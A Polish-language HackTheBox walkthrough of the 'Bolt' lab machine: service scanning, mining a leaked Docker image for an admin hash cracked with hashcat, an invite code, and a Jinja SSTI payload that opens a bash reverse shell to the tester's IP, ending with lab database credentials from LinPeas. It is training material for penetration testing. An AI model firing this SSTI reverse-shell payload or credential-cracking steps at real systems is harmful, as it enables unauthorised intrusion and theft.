Bolt - 18.02.2022
NMap
┌─[eu-free-3]─[10.10.15.13]─[parrot@parrot]─[~/htb/bolt]
└──╼ [★ ]$ sudo nmap -sC -sV -p 22,80,443 10.10.11.114
[sudo] password for parrot:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-18 16:43 CET
Nmap scan report for passbolt.bolt.htb (10.10.11.114)
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
| 256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_ 256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Starter Website - About
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after: 2022-02-24T19:11:23
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
GoBuster - subdomeny
┌─[eu-free-3]─[10.10.15.13]─[parrot@parrot]─[~/htb/bolt]
└──╼ [★ ]$ gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://bolt.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bolt.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/02/19 18:19:18 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mail.bolt.htb (Status: 200) [Size: 4943]
Found: demo.bolt.htb (Status: 302) [Size: 219]
===============================================================
2022/02/19 18:19:55 Finished
===============================================================
Zatem dodaję do /etc/hosts
wpis 10.10.11.114 passbolt.bolt.htb bolt.htb demo.bolt.htb mail.bolt.htb
.
Nikto
Strona główna
Port 443
Mamy logowanie
mail.bolt.htb
demo.bolt.htb
Co ciekawe z obu stron (bolt.htb
, passbolt.bolt.htb
) można pobrać obraz Dockera image.tar
. Sprawdziłem oba pobrane obrazy md5sum
. Są takie same.
Zawartość archiwum:
┌─[eu-free-3]─[10.10.15.13]─[parrot@parrot]─[~/htb/bolt]
└──╼ [★ ]$ ls -al
total 12
drwxr-xr-x 1 parrot parrot 1610 lut 19 19:22 .
drwxr-xr-x 1 parrot parrot 1008 lut 19 19:22 ..
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf
-rw-r--r-- 1 parrot parrot 3797 mar 5 2021 859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
drwxr-xr-x 1 parrot parrot 40 mar 5 2021 d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
-rw-r--r-- 1 parrot parrot 1002 sty 1 1970 manifest.json
-rw-r--r-- 1 parrot parrot 119 sty 1 1970 repositories
drwxr-xr-x 1 root root 10 lut 18 12:41 results
Przejrzałem kilka tych folderów, każdy zawiera kolejny plik layer.tar
. Zatem postanowiłem rozpakować też te wszystkie archiwa. Wykorzystałem polecenie
find . -type f -iname "*.tar" -print0 -execdir tar xf {} \; -delete
Teraz pierwszy folder wygląda tak
Ponieważ jest tego sporo, postanowiłem spróbować poszukać czegoś grepem
.
No tylko tutaj grep
niestety nie daje rady, za dużo jest tych podfolderów i za długo to trwa. Postanowiłem ograniczyć szukanie do 2 podfolderów i szukać jakichś maili, ponieważ mamy kilka formularzów do logowania z mailem.
┌─[eu-free-3]─[10.10.15.13]─[parrot@parrot]─[~/htb/bolt/image]
└──╼ [★ ]$ find . -maxdepth 2 -exec grep -as '@bolt.htb' {} \;
DEFAULT_MAIL_SENDER = 'support@bolt.htb'
<)Padminadmin@bolt.htb$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.ex_User_1User
) admin@bolt.htb
Dodałem opcje -H
do grep
, dzięki czemu widzę dokładnie, w którym pliku znalezioną daną frazę
┌─[eu-free-3]─[10.10.15.13]─[parrot@parrot]─[~/htb/bolt/image]
└──╼ [★ ]$ find . -maxdepth 2 -exec grep -Has '@bolt.htb' {} \;
./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/config.py: DEFAULT_MAIL_SENDER = 'support@bolt.htb'
<)Padminadmin@bolt.htb$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.27af2976f2/db.sqlite3:)';indexsqlite_autoindex_User_2User';indexsqlite_autoindex_User_1User
./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/db.sqlite3:) admin@bolt.htb
Potencjalnie ciekawe dane
./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/config.py
# Set up the App SECRET_KEY
SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')
# This will create a file in <app> FOLDER
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3')
SQLALCHEMY_TRACK_MODIFICATIONS = False
MAIL_SERVER = 'localhost'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
DEFAULT_MAIL_SENDER = 'support@bolt.htb'
# PostgreSQL database
SQLALCHEMY_DATABASE_URI = '{}://{}:{}@{}:{}/{}'.format(
config( 'DB_ENGINE' , default='postgresql' ),
config( 'DB_USERNAME' , default='appseed' ),
config( 'DB_PASS' , default='pass' ),
config( 'DB_HOST' , default='localhost' ),
config( 'DB_PORT' , default=5432 ),
config( 'DB_NAME' , default='appseed-flask' )
)
./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/db.sqlite3
k9tableUserUserCREATE TABLE "User" (
id INTEGER NOT NULL,
username VARCHAR,
email VARCHAR,
password BLOB,
email_confirmed BOOLEAN,
profile_update VARCHAR(80),
PRIMARY KEY (id),
UNIQUE (username),
UNIQUE (email)
<)Padminadmin@bolt.htb$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.ex_User_1User
admin
) admin@bolt.htb
Mamy hash $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.
, sprawdziłem i jest to md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5).
Odpaliłem hashcata
i po chwili otrzymałem złamane hasło
hashcat -a 0 -m 500 admin.hash /usr/share/wordlists/rockyou.txt
$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.:deadbolt
admin:deadbolt
Hasło zadziałało na subdomene bolt.htb
.
Natomiast nic ciekawego tutaj nie znalazłem. Postanowiłem poszukać jeszcze na pozostałych subdomenach. Na mail.bolt.htb
na te dane logowania, odpowiedź jest nieco inna niż przy niepoprawnych danych.
Otrzymujemy taką odpowiedź
Normalnie, przy losowych danych komunikat to po prostu Login failed.
Spróbowałem czegoś z BurpSuite
, ale okazało się to błędnym tropem
Ponowne wypakowanie
Absolutnie utkwiłem w tym miejscu. Sprawdziłem metodologie IppSeca. Okazało się, rozwiązania trzeba szukać w rejestracji użytkowników i polu Invite code
. Tylko że po części błędnie wypakowałem pliki layer.tar
i należy to poprawić.
cat manifest.json | jq .[].Layers > ../layers
[
"187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar",
"745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/layer.tar",
"41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar",
"d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/layer.tar",
"3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/layer.tar",
"9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar",
"1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/layer.tar",
"a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar",
"3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar",
"2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar",
"3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/layer.tar"
]
Należy teraz to oczyścić. I zrobię to tak jak IppSec, po kolei rozpakuje kolejne tary do output.
mkdir output
cd output
for i in $(cat layers); do tar -C output -xvf $i; done
W ten sposób otrzymujemy składny system plików. Warto spojrzeć na nietypowy folder app
.
W folderze app
mamy rozgałęzienie na home
oraz base
. Foldery różnią się od siebie. Mianowicie w podfolderze base
znajdziemy informacje o rejestracji użytkowników.
Wykorzystując mój stary skrypt z wypakowaniem każdego layer.tar
w danym folderze możemy znaleźć dodatkowy plik
No i w pliku ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py
mamy dodatkową treść, której wcześniej nie widzieliśmy.
code = XNSS-HSJW-3NGU-8XTJ
Nowy użytkownik
Stworzyłem nowego użytkownika. Udało mi się zalogować tymi danymi logowania nie tylko na demo.bolt.htb
, ale również na mail.bolt.htb
. Podatny okazuje sie ten formularz
Gdy wpisałem losowe rzeczy, na subdomene z mailem przyszła wiadomość
Jak się okazuje, jest to podatność SSTI
, ktorą można wykorzystać.
To jest akurat ciekawe, ponieważ całkowicie pominąłem nazwę Jinja
w tytule stron
A to potencjalnie też ważna informacja.
Na PayloadAllTheThings
można znaleźć najważniejsze informacje jak wykorzystać tą podatność.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.15.13/8000 0>&1').read() }}
www-data
Mamy na boxie dwóch użytkowników clark
oraz eddie
.
LinPeas
╔══════════╣ Analyzing Passbolt Files (limit 70)
-rw-r----- 1 root www-data 3128 Feb 25 2021 /etc/passbolt/passbolt.php
* Passbolt ~ Open source password manager for teams
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
'EmailTransport' => [
'host' => 'localhost',
'port' => 587,
'username' => null,
'password' => null,
'from' => ['localhost@bolt.htb' => 'localhost'],
passbolt:rT2;jW7<eY8!dX8}pQ8%
mysql -u passbolt -p passboltdb
Privilege Escalation